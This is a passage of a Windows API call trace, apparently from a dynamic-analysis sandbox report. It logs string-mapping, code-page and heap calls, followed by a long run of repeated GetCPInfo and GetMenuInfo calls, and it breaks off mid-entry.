\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞫儕ꡱ@Ā") returned 256 [0044.258] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞫儕ꡱ@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0044.258] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞫儕ꡱ@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0044.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ²¬Q@\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0044.258] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x800) returned 0x1e911f8 [0044.258] RtlSizeHeap (HeapHandle=0x1e90000, Flags=0x0, MemoryPointer=0x1e92ab8) returned 0x80 [0044.259] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x410ef5) returned 0x0 [0044.260] RtlSizeHeap (HeapHandle=0x1e90000, Flags=0x0, MemoryPointer=0x1e92ab8) returned 0x80 [0044.260] RtlSizeHeap (HeapHandle=0x1e90000, Flags=0x0, MemoryPointer=0x1e92ab8) returned 0x80 [0044.261] RtlSizeHeap (HeapHandle=0x1e90000, Flags=0x0, MemoryPointer=0x1e92ab8) returned 0x80 [0044.261] RtlSizeHeap (HeapHandle=0x1e90000, Flags=0x0, MemoryPointer=0x1e92ab8) returned 0x80 [0044.262] RtlSizeHeap (HeapHandle=0x1e90000, Flags=0x0, MemoryPointer=0x1e92ab8) returned 0x80 [0044.263] lstrlenA (lpString="") returned 0 [0044.263] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.263] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.263] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.263] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.264] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.265] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.265] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.266] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.266] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.267] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.267] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: param_1=0x0, param_2=0x18fd34 | out: param_2=0x18fd34) returned 0 [0044.268] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd54 | out: lpCPInfo=0x18fd54) returned 1 [0044.268] GetMenuInfo (in: 